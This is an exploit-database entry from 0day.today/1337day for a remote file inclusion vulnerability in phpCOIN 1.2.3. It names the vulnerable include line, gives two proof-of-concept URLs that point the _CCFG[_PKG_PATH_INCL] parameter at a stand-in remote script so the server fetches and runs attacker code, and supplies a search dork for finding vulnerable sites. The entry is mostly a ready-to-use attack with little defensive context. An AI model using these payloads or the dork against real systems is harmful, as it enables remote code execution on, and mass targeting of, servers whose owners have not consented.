phpCOIN 1.2.3 (session_set.php) Remote Include Vulnerability

2006-08-24T00:00:00
ID 1337DAY-ID-743
Type zdt
Reporter Timq
Modified 2006-08-24T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ============================================================
phpCOIN 1.2.3 (session_set.php) Remote Include Vulnerability
============================================================


phpCOIN 1.2.3 (_CCFG[_PKG_PATH_INCL]) Remote Include Vulnerability

##################################################################

Discovered by: Timq
http://www.securitydb.org

##################################################################

Vulnerable: require_once include ($_CCFG['_PKG_PATH_INCL'].'redirect.php');

###################################################################

Exploit PoC:

http://www.site.com/[path]/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]=http://evil_script?
http://www.site.com/[path]/includes/constants.php?_CCFG[_PKG_PATH_INCL]=http://evil_script?

Dork: Powered By phpCOIN 1.2.3
####################################################################

Shoutz: Warpboy,Z66,Gammarays,Archangel,BliTz,Splinter,InTel,ErazerZ,Maggot,PunKerX,Infiltration

#####################################################################



#  0day.today [2018-03-28]  #